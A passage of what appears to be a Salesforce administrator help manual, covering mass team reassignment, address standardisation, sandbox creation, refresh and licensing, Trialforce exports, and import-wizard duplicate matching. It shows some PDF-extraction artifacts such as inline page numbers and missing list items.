account owner.
Reassign all open opportunities... if you want open opportunities for the removed team member to be
Reassign all open cases... if you want open cases for the removed team member to be assigned to the account
owner.
763
Data Management
Reassign all contacts... if you want to assign all contact records owned by the removed team member to the
account owner.
9. Click Remove.
10. Click Done after reviewing the number of records changed.
See Also:
Adding a Team Member to Multiple Records
Replacing a Team Member on Multiple Records
You can replace account and sales team members and change team member roles on multiple records at a time.
Note: While you can add members to account and sales team records that you have access to edit, you need the Use
Team Reassignment Wizards permission to mass reassign members.
1. Choose Your Name > Setup > Data Management > Mass Reassign Account Teams or Your Name > Setup > Data
Management > Mass Reassign Opportunity Teams.
Depending on your permissions, you may not see the Data Management link on the Setup page. In that case, click Mass
Reassign Account Teams from the Tools section at the bottom of the Accounts tab, or click Mass Reassign Opportunity
Teams from the Tools section at the bottom of the Opportunities tab.
2. Choose the Replace option and click Next.
3. Enter your criteria to find the records you want to change and click Next.
4. Check the boxes next to the records you want to select. Optionally, check the box in the column header to select all currently
displayed items.
5. Click Next.
6. Select the team member currently on the selected records that you want to change.
7. Select the new team member to replace the current one. To simply change the role of a team member, select the existing
team member here as well.
8. Choose a role for the team member. Choose Use Role of Replaced Team Member to keep the current role.
9. For account teams, select the appropriate account, contact, case, and opportunity access. For sales teams, select the
appropriate opportunity access.
10. Check the following options when applicable:
Reassign all open activities... if you want to assign all open activity records to the replacement team
member.
764
Data Management
Transferring Divisions
Reassign all open opportunities... if you want to assign all open opportunity records to the replacement
team member.
Reassign all open cases... if you want to assign all open cases to the replacement team member.
Reassign all contacts... if you want to assign the contacts associated with the updated records to the replacement
team member.
11. Click Replace.
12. Click Done after reviewing the number of records changed.
See Also:
Adding a Team Member to Multiple Records
Removing a Team Member from Multiple Records
Transferring Divisions
Available in: Professional, Enterprise, Unlimited, and Developer Editions
765
Data Management
If you are transferring 5,000 or more records, the request is placed in a queue for processing. You will receive an email
notification when the transfers are complete.
See Also:
About Divisions
Changing Your Working Division
Changing Your Default Division
Use mass updating addresses to standardize on one naming convention for a country and state/province for your organization's
existing address fields in accounts, contacts, contracts, and leads. For example, instead of having multiple records with US,
USA, or United States in the address fields, you can use mass updating addresses to enter one name, such as US, for all of the
records.
1. Choose Your Name > Setup > Data Management > Mass Update Addresses.
2. Select the type of data to update - Countries or State/Province. If you chose State/Province, enter the country
in which to update the state or province. Click Next to continue.
3. Select the values to update and click Add. The Selected Values box displays the values that will be updated. To remove
values, click Remove.
The Available Values box displays the address values found in existing records. To find additional addresses to update
together as a group, enter all or part of a value and click Find.
If your organization has large amounts of data, instead of using the Available Values box, enter existing values to update
in the text area. Each value should be separated by a new line.
4. In the Replace selected values with field, enter the value with which to replace the specified address data, and
click Next. If your organization has large amounts of data, this field is called Replace entered values with.
The number and type of address records which will be updated in your organization are displayed. If your organization
has large amounts of data, only the values that will be updated are displayed.
5. Click Replace to update the values.
766
Data Management
Sandbox Overview
As a best practice, update countries first, and then update states or provinces within that newly standardized country value.
Use the mass updating address tool to convert inconsistent address formats to one international standard, such as ISO
codes. For a list of ISO codes, see the International Organization for Standardization website.
Use the mass updating tool regularly to cleanse your address data of inconsistent values created by users or via import, sync,
or the Force.com API.
Any country or state/province value can be created manually or via import, sync, or the Force.com API. Address values
are not validated upon creation.
Remember to change filter conditions to reflect any address updates. For example, if you change United States to US,
then assignment rules, Web-to-Lead, Web-to-Case, Email-to-Case, and On-Demand Email-to-Case will continue to
use United States unless updated to US.
Sandbox Overview
Available in: Enterprise, Unlimited, and Database.com Editions
Salesforce gives you the ability to create multiple copies of your organization in separate environments for a variety of purposes,
such as testing and training, without compromising the data and applications in your Salesforce production organization.
These copies are called sandboxes and are nearly identical to your Salesforce production organization. For a list of differences,
see Sandbox Setup Tips and Considerations on page 771.
Sandboxes are completely isolated from your Salesforce production organization, so operations you perform in your sandboxes
do not affect your Salesforce production organization, and vice versa.
The sandbox types are:
Configuration Only
Configuration-only sandboxes copy all of your production organization's reports, dashboards, price books, products,
apps, and customizations under Your Name > Setup, but exclude all of your organization's standard and custom object
records, documents, and attachments. Creating a configuration-only sandbox can decrease the time it takes to create or
refresh a sandbox from several hours to just a few minutes, but it can only include up to 500 MB of data. You can refresh
a configuration-only sandbox once per day.
Developer Sandbox
Developer sandboxes are special configuration-only sandboxes intended for coding and testing by a single developer.
They provide an environment in which changes under active development can be isolated until they are ready to be
shared. Just like configuration-only sandboxes, developer sandboxes copy all application and configuration information
767
Data Management
Sandbox Overview
to the sandbox. Developer sandboxes are limited to 10 MB of test or sample data, which is enough for many development
and testing tasks. You can refresh a developer sandbox once per day.
Full
Full sandboxes copy your entire production organization and all its data, including standard and custom object records,
documents, and attachments.
Sandbox Limits
The following limits apply to sandboxes:
You can refresh a full sandbox 29 days after you created or last refreshed it. If you delete a full sandbox, you must wait 29
days to replace it.
You can refresh a configuration-only sandbox (including a developer sandbox) once per day.
You may order up to a maximum of three full sandboxes.
You may order up to a maximum of six configuration-only sandboxes.
Enterprise Edition includes one developer sandbox.
Unlimited Edition includes one full sandbox with the option to purchase up to three more full sandboxes.
Note: Contact salesforce.com to order sandboxes for your organization.
See Also:
Creating or Refreshing a Sandbox
Sandbox Setup Tips and Considerations
Sandbox Restrictions and Licenses
Managing Sandboxes
768
Data Management
Sandbox Overview
Click New Sandbox. For information on different kinds of sandboxes, see Sandbox Overview on page 767.
Salesforce deactivates the New Sandbox button when an organization reaches its sandbox limit. If necessary, contact
salesforce.com to order more sandboxes for your organization.
Note that Salesforce deactivates all refresh links if you have exceeded your sandbox limit.
Click Refresh to replace an existing sandbox with a new copy. Salesforce only displays the Refresh link for sandboxes
that are eligible for refreshing. For full-copy sandboxes, this is any time after 30 days from the previous creation or
refresh of that sandbox. For configuration-only sandboxes (including developer sandboxes), you can refresh once per
day. Your existing copy of this sandbox remains available while you wait for the refresh to complete. The refreshed
copy is inactive until you activate it.
3. Enter a name and description for the sandbox. You can only change the name when you create or refresh a sandbox.
Tip: We recommend that you choose a name that:
Configuration Only: Configuration-only sandboxes copy all of your production organization's reports, dashboards,
price books, products, apps, and customizations under Your Name > Setup, but exclude all of your organization's
standard and custom object records, documents, and attachments. Creating a configuration-only sandbox can decrease
the time it takes to create or refresh a sandbox from several hours to just a few minutes, but it can only include up to
500 MB of data. You can refresh a configuration-only sandbox once per day.
Developer: Developer sandboxes are special configuration-only sandboxes intended for coding and testing by a single
developer. They provide an environment in which changes under active development can be isolated until they are
ready to be shared. Just like configuration-only sandboxes, developer sandboxes copy all application and configuration
information to the sandbox. Developer sandboxes are limited to 10 MB of test or sample data, which is enough for
many development and testing tasks. You can refresh a developer sandbox once per day.
Full: Full sandboxes copy your entire production organization and all its data, including standard and custom object
records, documents, and attachments. You can refresh a full-copy sandbox every 29 days.
769
Data Management
Sandbox Overview
If you have reduced the number of sandboxes you purchased, but you still have more sandboxes of a specific type than
allowed, you will be required to match your sandboxes to the number of sandboxes that you purchased. For example, if
you have two full sandboxes but purchased only one, you cannot refresh your full sandbox as a full sandbox. Instead, you
must choose one full sandbox to convert to a smaller sandbox, such as configuration-only or developer sandbox, depending
on which type of sandbox you have available.
Note: Configuration-only and developer sandboxes copy all of your production organization's reports, dashboards,
price books, products, apps, and customizations under Your Name > Setup, but exclude all of your organization's
standard and custom object records, documents, and attachments. Because they copy much less data, creating these
sandbox types can substantially decrease the time it takes to create or refresh a sandbox.
If you are refreshing an existing sandbox, the radio button usually preselects the sandbox type corresponding to the sandbox
you are refreshing. For example, if you refresh a configuration-only sandbox, the radio button preselects Configuration
Only.
Whether refreshing an existing sandbox or creating a new one, some radio buttons may be disabled if you have already
created the number of sandboxes of that sandbox type allowed for your organization.
5. For a full sandbox, choose how much object history and case history to copy, and whether or not to copy Chatter data.
Object history is the field history tracking of custom and most standard objects, and case history serves the same purpose
for cases. You can copy from 0 to 180 days of object and case history, in 30day increments. The default value is 30 days.
Chatter data includes feeds, messages, and discovery topics. Decreasing the amount of data you copy can significantly
speed up sandbox copy time.
6. Click Start Copy.
The process may take several minutes, hours, or even days, depending on the size of your organization and whether you
are creating a full copy or configuration-only copy.
Tip: You should try to limit changes in your production organization while the sandbox copy proceeds.
7. You will receive a notification email when your newly created or refreshed sandbox has completed copying. If you are
creating a new sandbox, the newly created sandbox is now ready for use.
If you are refreshing an existing sandbox, an additional step is required to complete the sandbox copy process. The new
sandbox must be activated. To delete your existing sandbox and activate the new one:
a. Return to the sandbox list by logging into your production organization and navigating to Your Name > Setup > Data
Management > Sandbox.
b. Click the Activate link next to the sandbox you wish to activate.
This will take you to a page warning of removal of your existing sandbox.
c. Read the warning carefully and if you agree to the removal, enter the acknowledgment text at the prompt and click the
Activate button.
When the activation process is complete, you will receive a notification email.
Caution: Activating a replacement sandbox that was created using the Refresh link completely deletes the sandbox
it is refreshing. All configuration and data in the prior sandbox copy will be lost, including any application or data
changes you have made. Please read the warning carefully, and press the Activate link only if you have no further
need for the contents of the sandbox copy currently in use. Your production organization and its data will not be
affected.
770
Data Management
Sandbox Overview
8. Once your new sandbox is complete, or your refreshed sandbox is activated, you can click the link in the notification email
to access your sandbox.
You can log into the sandbox at test.salesforce.com/login.jsp by appending .sandbox_name to your Salesforce
username. For example, if your username for your production organization is user1@acme.com, then your username for
a sandbox named test is user1@acme.com.test. For more information, see Username and Email Address Modification
on page 771.
Note: Salesforce automatically changes sandbox usernames but does not change passwords.
The organization IDs of your sandboxes differ from your production organization ID, and will change each time your
sandbox is refreshed.
Salesforce stores sandbox organizations on several instances. When a sandbox is created or refreshed, an instance is selected
for your sandbox, so your sandbox may appear on different instances and have different URLs.
When data that contains object IDs is copied from your production instance into your sandbox, the object IDs in your
sandbox match the object IDs in your production instance. However, data created in your production instance or sandbox
will not contain matching object IDs.
User information is included in a sandbox copy or refresh for all sandbox types. Because all Salesforce usernames must be
unique and reference a single organization, all copied usernames are modified to ensure uniqueness during the copy process.
Usernames are modified differently for each sandbox copy. Entering a particular modified username will log you into a
specific sandbox.
For each username, the copy process applies one or two modifications as necessary to generate a unique new username:
First, the sandbox name is appended to the username, so that for a sandbox named test, user@acme.com may become
user@acme.com.test.
If the resulting username is not unique, a second modification is performed in which a number of characters and digits
are prepended to the modified username. This second modification may result in a username such as
00x7Vquser@acme.com.test.
771
Data Management
Sandbox Overview
Email addresses are modified in a sandbox so that production users, who may not know of the sandbox, dont receive
automatically generated email messages from the sandbox, such as notifications from triggered workflow or escalation
rules. By modifying user email addresses, any email messages sent from the sandbox arent delivered to production users.
You can manually correct email addresses in the sandbox user records for users who will use the sandbox for testing and
training.
Caution: Sandboxes automatically change Salesforce user email addresses, but dont change other email addresses
in Salesforce, such as those in contact records. To avoid sending unsolicited email from your sandboxes, manually
invalidate or delete all email addresses in your sandboxes that dont belong to users. When testing the generation
of outbound email, change contact email addresses to those of testers or an automated test script.
Sandbox copy is a long-running operation that occurs in the background. You are notified of the completion of a sandbox
copy via email. Sandbox refreshes may complete in minutes, days, or even more than a week.
A number of conditions factor into the duration of a sandbox copy or refresh, including the number of customizations,
data size, numbers of objects and configuration choices (for full copies), and server load. Also, sandbox refreshes are queued,
so your requested copy may not start immediately after your request.
A sandbox is not a point-in-time snapshot of the exact state of your data. Furthermore, we recommend that you limit
changes to your production organization while a sandbox is being created or refreshed. Setup and data changes to your
production organization during the sandbox creation and refresh operations may result in inconsistencies in your sandbox.
You may detect and correct some inconsistencies in your sandbox after it is copied or refreshed.
Some types of sandboxes may not be available to choose from if you already reached your organization's limit of the types
of sandboxes you can create or refresh. For example, if your organization is limited to one full sandbox, and a full sandbox
is already created, you may not select Full when creating a new sandbox. However, you may refresh your existing full
sandbox.
When you are finished with a sandbox, you can refresh it to create a new copy. However, if you have reduced your
organization's number of sandboxes, a Delete link displays next to existing sandboxes, allowing you to delete a sandbox
of your choice. Note that you must delete a sandbox before you can refresh any more sandboxes.
If you have active Salesforce-to-Salesforce connections in your sandbox, you must deactivate and then reactivate the
connection(s) after the sandbox is refreshed.
When you create or refresh a full sandbox, you can configure it not to copy some data that is generally not useful in a sandbox.
Keeping the minimum selections will speed up your sandbox copy.
The Object History and Case History options allow you to select the number of days of history from your production
organization to copy to your sandbox. You can copy from 0 to 180 days, in 30 day increments. The default value is 30 days.
By default, Chatter data wont be copied to your sandbox. Chatter data includes feeds, messages, and discovery topics.
Select the Copy Chatter Data checkbox if you need to copy it.
The setup audit trail history of your production organization wont be copied to your sandbox. The audit trail for your
sandbox organization will start when you begin to use it.
Archived activities (tasks and events that arent available in the production organization because theyre over a year old)
and password history (users previous passwords) wont be copied to your sandbox.
Note: Dont increase the default selections unless special circumstances require it. Too much data can cause significant
delays in the time it takes to copy your sandbox.
772
Data Management
Sandbox Overview
Accessing Sandboxes
Always log in to your sandbox organization using the https://test.salesforce.com login URL.
Remember to log in using the modified username as described in Username and Email Address Modification on page 771.
If using the API, after you log in you must use the redirect URL that is returned in the loginResult object for subsequent
access. This URL reflects the instance on which the sandbox is located and the appropriate server pool for API access.
All sandbox copies are made with federated authentication with SAML disabled. Any configuration information is preserved,
except the value for Recipient URL changes to http://tapp0.salesforce.com. The Recipient URL is updated
to match your sandbox URL, for example http://cs1.salesforce.com, after you re-enable SAML. To enable SAML
in the sandbox copy, click Your Name > Setup > Security Controls > Single Sign-On Settings; then click Edit, and
select SAML Enabled. You must change the value of the Recipient URL in the certificate for your client application as
well. For more information, see Configuring SAML Settings for Single Sign-On on page 687.
Full copy sandboxes have the same storage limit as your production organization.
Configuration-only sandboxes have a 500 MB storage limit.
Developer sandboxes have a 10 MB storage limit.
Sandboxes dont send email notifications when storage limits are reached. However, if you reach the storage limit of your
sandbox, you cannot save new data in your sandbox. To check your storage limits, click Your Name > Setup > Data
Management > Storage Usage in your sandbox. For more information on storage limits, see Monitoring Resources on
page 752.
Customizations and data changes in your production organization dont automatically appear in your sandboxes. You must
create a new sandbox or refresh an existing one to see the customizations made to your organization since the last time
you created or refreshed a sandbox.
You can only add, edit, or delete Apex using the Salesforce user interface in a Developer Edition or sandbox organization.
In a Salesforce production organization, you can only make changes to Apex by using the compileAndTestAPI() call.
For more information, see the Force.com Apex Code Developer's Guide.
If your sandbox is the same version as Force.com AppExchange, you can:
773
Data Management
Sandbox Overview
If your organization uses quote templates, and you create a configuration-only sandbox, templates that contain Text/Image
fields cannot be opened for editing within the sandbox.
Service Exclusions
Case escalation
Opportunity reminders
Contract expiration warnings
Subscription summary
Data exports (using Export Now or Schedule Export on Your Name > Setup > Data Management > Data Export)
The ability to create Salesforce sandboxes.
Case escalation, opportunity reminders, and contract expiration warnings are disabled because they automatically send
email to contacts, customers and users who should not interact with sandboxes.
Testing Salesforce for Google AdWords in your sandbox is not supported. Attempting to test Salesforce for Google
AdWords in your sandbox will result in errors because your sandbox organization operates with the same link to your
Google AdWords account as your production organization.
Email service addresses that you create in your sandbox cannot be copied to your production organization.
Other Service Differences
Only custom links created as relative URLs, such as /00Oz0000000EVpU&pv0={!Account_ID} will work when copied
to your sandboxes. Custom links created as absolute URLs, such as
https://na1.salesforce.com/00Oz0000000EVpU&pv0={!Account_ID}, dont work in your organization's
sandboxes. We recommend that you use only relative URLs in your production organization. Otherwise, you will need to
correct the URLs in each sandbox.
Salesforce has a background process that permanently deletes records in the Recycle Bin that are older than 30 days. This
process runs at different times on different servers, so its timestamp in your sandbox differs from its timestamp in your
production organization. Applications and integrations that depend on this timestamp may fail if they are first connected
to one environment, such as your production organization, and then later connected to another environment, such as your
sandbox. Keep this in mind when developing applications and integrations that depend on this timestamp.
Note that the time of the latest execution of the background delete process is available through the getDeleted() API
call. For more information, see the SOAP API Developer's Guide.
See Also:
Sandbox Overview
Sandbox Restrictions and Licenses
774
Data Management
Sandbox Overview
Sandbox services are restricted if your organization doesn't comply with salesforce.com's licensing rules. This typically happens
when sandbox licenses expire.
The sandbox license types are Full, Configuration Only, and Developer. Each license permits the use of one sandbox.
The sandbox licenses are hierarchical. Some licenses permit the use of multiple sandbox types.
Full Sandbox License
Permits the use of a full, configuration-only, or developer sandbox.
Configuration Only Sandbox License
Permits the use of a configuration-only or developer sandbox.
Developer Sandbox License
Permits the use of a developer sandbox only.
There are a few different types of restrictions you might encounter when your organization doesn't comply with licensing
rules.
Unable to Refresh a Particular Type of Sandbox
CauseYour organization is using more sandboxes of a specific type than its sandbox licenses permit.
ExampleYour organization has three full sandboxes, but only two full sandbox licenses.
EffectYou can't refresh a sandbox of this type. In the example, you can't refresh full sandboxes.
ResolutionDelete sandboxes to comply with the number allowed by your organization's sandbox licenses, or purchase
more sandbox licenses.
All Sandboxes of a Particular Type are Locked
CauseThe license count of a given type, including higher hierarchical types, is zero.
ExampleYour organization has three full sandboxes and zero full sandbox licenses.
EffectAll sandboxes of a particular type are locked. You don't have access to the sandboxes.
ResolutionPurchase the correct sandbox licenses to unlock the sandboxes. If you don't purchase enough licenses, you
can't refresh sandboxes of that type.
All Sandboxes are Locked
CauseYour production organization is locked.
ExampleYour organization has one full sandbox and one developer-sandbox, but you can't log in to either sandbox.
EffectIf your production organization is locked, all sandboxes associated with the organization are locked.
775
Data Management
Sandbox Overview
ResolutionContact your salesforce.com representative to unlock your organization. When your production organization
is unlocked, the sandboxes are unlocked as well.
See Also:
Sandbox Overview
Sandbox Setup Tips and Considerations
Managing Sandboxes
Available in: Enterprise, Unlimited, and Database.com Editions
To manage your sandboxes, click Your Name > Setup > Data Management > Sandbox. A list of your existing sandboxes
displays.
Click New Sandbox. For information on different kinds of sandboxes, see Sandbox Overview on page 767.
Salesforce deactivates the New Sandbox button when an organization reaches its sandbox limit. If necessary, contact
salesforce.com to order more sandboxes for your organization.
Note that Salesforce deactivates all refresh links if you have exceeded your sandbox limit.
Click Show Sandbox Refreshes to see a log of your sandbox refresh history, including when sandboxes were created and
who created them.
Click Refresh to replace an existing sandbox with a new copy. Salesforce only displays the Refresh link for sandboxes that
are eligible for refreshing. For full-copy sandboxes, this is any time after 30 days from the previous creation or refresh of
that sandbox. For configuration-only sandboxes (including developer sandboxes), you can refresh once per day. Your
existing copy of this sandbox remains available while you wait for the refresh to complete. The refreshed copy is inactive
until you activate it.
Click Activate to activate a refreshed sandbox. You must activate your refreshed sandbox before you can access it. Salesforce
only displays this option for sandboxes that are not activated.
Caution: Activating a refreshed sandbox replaces the existing sandbox with the refreshed version. This permanently
deletes the existing version and all data in it. Your production organization and its data will not be affected.
Click Del to delete a sandbox. If you delete a sandbox, you must wait 29 days before replacing it with a new full-copy
sandbox, or one day before you can replace it with another configuration-only sandbox.
Caution: Deleting a sandbox permanently erases the sandbox and all data in it. Your production organization and
its data will not be affected.
Click Login to log in to a sandbox. Salesforce only displays this option for active sandboxes.
776
Data Management
Note that the Login button is for administrators and may not always be available; however, you can log into an active
sandbox at https://test.salesforce.com by entering your modified username and password. To change your
username or password, see Changing Your Password on page 43.
Click on a sandbox name to view details about the sandbox, including the sandbox type and when it was created.
See Also:
Sandbox Overview
Trialforce helps you create customized trials by configuring which data and metadata you want to include in your DOT.
Trialforce signs up organizations on the correct instance based on geography and automatically upgrades the Trialforce DOTs
at release time. There is no longer any downtime for trials beyond the standard downtime for the release on the instance.
To configure and export your DOT:
1. Go to Your Name > Setup > Data Management > Export to DOT File.
2. Select the information to include in your DOT:
3. Optionally, select the Include debugging info checkbox if you want to track what happens as the DOT is created.
This is especially useful if the DOT creation process fails, as you'll have a log of what happened.
4. Optionally, select the Don't rebase dates checkbox if you want the values in date records to remain the same every
time an organization is signed up from your DOT.
5. Select how you want the DOT export to output. You can choose the following options:
Documents TabSaves the DOT export as a file under the Documents tab.
Appserver's Local FilesystemSaves the DOT export to the local Unix filesystem of the appserver that did
the export.
Trialforce UploadDepending on the size of your Trialforce DOT, you either see a message with your Trialforce
DOT ID or see a screen saying that you will receive an email when it has been created. If your Trialforce DOT creation
doesn't complete within a minute or so, you will receive an email when it has finished. Once you receive the "ready for
use" confirmation email, your Trialforce DOT is ready.
777
Data Management
Send the Trialforce DOT ID to your salesforce.com representative to get your trial set up.
If your Trialforce DOT creation fails, you will receive an email notification.
For more information about Trialforce, contact your salesforce.com representative.
See Also:
Viewing Your Exported TrialForce DOTs
Trialforce helps you create customized trials by configuring which data and metadata you want to include in your DOT.
Trialforce signs up organizations on the correct instance based on geography and automatically upgrades the Trialforce DOTs
at release time. There is no longer any downtime for trials beyond the standard downtime for the release on the instance.
To view a list of your exported TrialForce DOTs, go to Your Name > Setup > Data Management > TrialForce DOT
Exports.
On this page you can see a list of all the TrialForce DOTs you've exported using TrialForce Upload. Click a column
heading to sort the list in ascending order. Click the heading a second time to sort in descending order.
For more information about Trialforce, contact your salesforce.com representative.
778
Data Management
Importing Overview
Importing Overview
Available in: All Editions except Database.com
Organization import not available in: Personal Edition
Custom object import not available in: Personal Edition
Lead import not available in: Personal and Contact Manager Editions
Solution import not available in: Personal, Contact Manager, and Group Editions
Person account import not available in: Personal, Contact Manager, Group, and Professional Editions
You can import data from ACT!, Outlook, and any program that can save data in the CSV (comma-separated values) format,
such as Excel or GoldMine.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.
The following table summarizes the kinds of records that can be imported.
Which records can be imported?
Type of record
Overview topic
All users
Administrators;
All users
50,000 at a time
Administrators;
Leads
50,000 at a time
779
Data Management
Importing Overview
Overview topic
50,000 at a time
Administrators;
Users with the Modify All
Data permission
Solutions
50,000 at a time
Administrators;
Users with the Import
Solutions permission
Assets
Cases
Campaigns
Contracts
Documents
Opportunities
Products
For information on field accessibility and how different field type values are imported, see Notes on Importing Data on page
787.
780
Data Management
Importing Overview
Note: In addition to the record limits on each import, your import is also subject to the overall storage limits for your
organization. For storage limits, see Monitoring Resources on page 752.
Although they are custom objects, relationship group members cannot be imported. For more information on the
behaviors of relationship group members, see Relationship Group Considerations on page 2679.
See Also:
Importing Multiple Currencies
Undoing an Import
Importing Campaign Members
Importing Articles
FAQ: Importing
Tip sheet: Importing Your Data
Administrator tip sheet: Importing Your Organization's Data
The import wizards for contacts and business accounts allow you to match records in a variety of ways in order to prevent
duplicates. Contacts can be matched by Salesforce ID, name, or email. Business accounts can be matched by Salesforce ID or
by name and site. Matching by Salesforce ID is inclusive of both contacts and business accounts; if you match one by Salesforce
ID, the other will also be matched by Salesforce ID.
Matching by Name and Site
If you choose to match contacts by name and business accounts by name and site (which are the recommended options), the
import wizards automatically create a business account for each unique business account name and site in the import file. They
also create a separate contact for each contact name listed in the file. The contacts are then associated with the appropriate
business accounts.
If the business account or contact already exists in the system, and you have read/write access to the record, the wizards add
your import data to the existing data in Salesforce. In addition, if a business account or contact name in your import file is
similar to an existing business account or contact name, the import data is added to the existing data in Salesforce (see Can
the contact and business account import wizards recognize similar names? on page 3630).
Matching by Salesforce ID
You can also choose to match contacts and business accounts by Salesforce ID. With this selected, the Salesforce ID will be
the criteria for de-duplication. That is, if you are matching by ID and a record in your source file has the same ID as a record
in Salesforce, then that record will be updated in Salesforce. Note that record IDs are case-sensitive and must match exactly.
781
Data Management
Importing Overview
See Also:
Accounts Overview
Import My Organizations Accounts and Contacts
FAQ: Importing
The import wizards for person accounts allow you to prevent the creation of duplicate records by matching records according
to one of the following fields: Account Name, Salesforce ID, or Email. In your import file, include a column for the
field that you are using for record matching.
Note: Your administrator may have renamed person account to another term. If so, the import wizard will refer to
the new name.
Matching by Name
When you select this option, the import wizard will detect existing records in Salesforce that have the same name. Note that
this type of matching is not case-sensitive - for example, names that begin with a capital letter will be matched with the same
name that begins with a lowercase letter. If necessary, scan and standardize your custom object names before performing the
import to prevent unintended matches.
Matching by Salesforce ID
A Salesforce ID is a system-generated, case-sensitive string of 15 or 18 letters and numbers that uniquely identifies each
Salesforce record. When you select this option, the import wizard will detect existing records in Salesforce that have the same
Salesforce ID. Note that Salesforce IDs are case-sensitive and must match exactly. Salesforce IDs can be obtained by running
reports that include the ID field of the record.
Matching by Email
With this option, person accounts in your import file will be matched with existing person accounts in Salesforce according
to the exact value in the Email field.
782
Data Management
Importing Overview
Matching by External ID
An external ID is a custom field that has the External ID attribute, meaning that it contains unique record identifiers from
a system outside of Salesforce. When you select this option, the import wizard will detect existing records in Salesforce that
have the same external ID. Note that this operation is not case-sensitive - for example, ABC will be matched with abc.
However, there is an exception: if the custom field has the separate Unique attribute and the case-sensitive option for that
attribute is selected, uppercase and lowercase letters will not be considered identical. For more information, see Custom Field
Attributes on page 1081.
If necessary, scan and standardize your external ID values before performing the import to prevent unintended matches.
When matching by external ID, if the import wizard finds duplicate records, only the first three duplicate records are reported
to you in the confirmation email.
Note: Only account custom fields with the External ID attribute are available for this step. While all custom contact
fields are available on person account page layouts, custom contact fields with the External ID attribute are not
available as matching fields during person account import.
Ignoring or Updating Matching Records
When the import wizard detects existing records in Salesforce that match according to the field you have chosen, you can
choose one of the following actions:
Do not update existing records and only insert new records - If there are records in your file that are new and do not
match any existing records, then insert them into Salesforce. Also, ignore any records in your file that match an existing
record, and do nothing to the existing record.
Update existing records and do not insert any new records - If there are records in your file that match an existing record,
then update the existing record. Also, ignore any records in your file that do not match an existing record, and do not insert
them as new records.
Update existing records and insert new records - If there are records in your file that are new and do not match any
existing records, then insert them into Salesforce. Also, if there are records in your file that match an existing record, then
update the existing record.
See Also:
Import My Person Accounts
Import My Organization's Person Accounts
FAQ: Importing
You can import data into the standard lead fields and into any custom lead fields you may have, even if a particular field is
hidden or read only in your page layout or field-level security settings for leads. (Field-level security is available in Enterprise,
Unlimited, and Developer Editions only.)
783
Data Management
Importing Overview
See Also:
Import My Organizations Leads
FAQ: Importing
Import Leads Wizard - For each lead in your import file, this wizard imports the lead, associates the lead with a campaign,
and inserts a Member Status value for the lead in that campaign. You can import data into the standard lead fields and
into any custom lead fields, even if a particular field is hidden or read only in your page layout or field-level security settings.
(Field-level security is available in Enterprise, Unlimited, and Developer Editions only.) If you have duplicate leads in your
import file, the wizard does not merge them. In addition, if any of the imported leads match an existing lead, the wizard
does not merge the duplicate data into one lead.
Campaign Update Wizard - For each contact or lead in your import file, this wizard updates only the Member Status
value of the matching contact or lead in Salesforce. You cannot add new leads or contacts, nor can you update any other
fields in the existing lead or contact records.
See Also:
Lead Import Wizard
Campaign Update Wizard
FAQ: Importing
784
Data Management
Importing Overview
The import wizard for custom objects allows you to prevent the creation of duplicate records by matching records according
to one of the following fields: custom object name, Salesforce ID, or external ID. In your import file, include a column for
the field that you are using for record matching.
Matching by Name
When you select this option, the import wizard will detect existing records in Salesforce that have the same name. Note that
this type of matching is not case-sensitive - for example, names that begin with a capital letter will be matched with the same
name that begins with a lowercase letter. If necessary, scan and standardize your custom object names before performing the
import to prevent unintended matches.
Matching by Salesforce ID
A Salesforce ID is a system-generated, case-sensitive string of 15 or 18 letters and numbers that uniquely identifies each
Salesforce record. When you select this option, the import wizard will detect existing records in Salesforce that have the same
Salesforce ID. Note that Salesforce IDs are case-sensitive and must match exactly. Salesforce IDs can be obtained by running
reports that include the ID field of the record.
Matching by External ID
An external ID is a custom field that has the External ID attribute, meaning that it contains unique record identifiers from
a system outside of Salesforce. When you select this option, the import wizard will detect existing records in Salesforce that
have the same external ID. Note that this operation is not case-sensitive - for example, ABC will be matched with abc.
However, there is an exception: if the custom field has the separate Unique attribute and the case-sensitive option for that
attribute is selected, uppercase and lowercase letters will not be considered identical. For more information, see Custom Field
Attributes on page 1081.
If necessary, scan and standardize your external ID values before performing the import to prevent unintended matches.
When matching by external ID, if the import wizard finds duplicate records, only the first three duplicate records are reported
to you in the confirmation email.
Ignoring or Updating Matching Records
When the import wizard detects existing records in Salesforce that match according to the field you have chosen, you can
choose one of the following actions:
Do not update existing records and only insert new records - If there are records in your file that are new and do not
match any existing records, then insert them into Salesforce. Also, ignore any records in your file that match an existing
record, and do nothing to the existing record.
Update existing records and do not insert any new records - If there are records in your file that match an existing record,
then update the existing record. Also, ignore any records in your file that do not match an existing record, and do not insert
them as new records.
785
Data Management
Importing Overview
Update existing records and insert new records - If there are records in your file that are new and do not match any
existing records, then insert them into Salesforce. Also, if there are records in your file that match an existing record, then
update the existing record.
Note: Custom objects with two master-detail relationships cannot be imported using the import wizard.
See Also:
Import My Organization's Custom Objects
FAQ: Importing
Import Solutions
The import wizard for solutions allows you to prevent the creation of duplicate records by matching records according to one
of the following fields: solution title, Salesforce ID, or external ID. In your import file, include a column for the field that you
are using for record matching.
Matching by Solution Title
When you select this option, the import wizard will detect existing solutions in Salesforce that have the same title. Note that
this type of matching is not case-sensitive - for example, titles that begin with a capital letter will be matched with the same
title that begins with a lowercase letter. If necessary, scan and standardize your solution titles before performing the import
to prevent unintended matches.
Matching by Salesforce ID
A Salesforce ID is a system-generated, case-sensitive string of 15 or 18 letters and numbers that uniquely identifies each
Salesforce record. When you select this option, the import wizard will detect existing records in Salesforce that have the same
Salesforce ID. Note that Salesforce IDs are case-sensitive and must match exactly. Salesforce IDs can be obtained by running
reports that include the ID field of the record.
Matching by External ID
An external ID is a custom field that has the External ID attribute, meaning that it contains unique record identifiers from
a system outside of Salesforce. When you select this option, the import wizard will detect existing records in Salesforce that
have the same external ID. Note that this operation is not case-sensitive - for example, ABC will be matched with abc.
However, there is an exception: if the custom field has the separate Unique attribute and the case-sensitive option for that
attribute is selected, uppercase and lowercase letters will not be considered identical. For more information, see Custom Field
Attributes on page 1081.
If necessary, scan and standardize your external ID values before performing the import to prevent unintended matches.
786
Data Management
Importing Overview
When matching by external ID, if the import wizard finds duplicate records, only the first three duplicate records are reported
to you in the confirmation email.
Ignoring or Updating Matching Records
When the import wizard detects existing records in Salesforce that match according to the field you have chosen, you can
choose one of the following actions:
Do not update existing records and only insert new records - If there are records in your file that are new and do not
match any existing records, then insert them into Salesforce. Also, ignore any records in your file that match an existing
record, and do nothing to the existing record.
Update existing records and do not insert any new records - If there are records in your file that match an existing record,
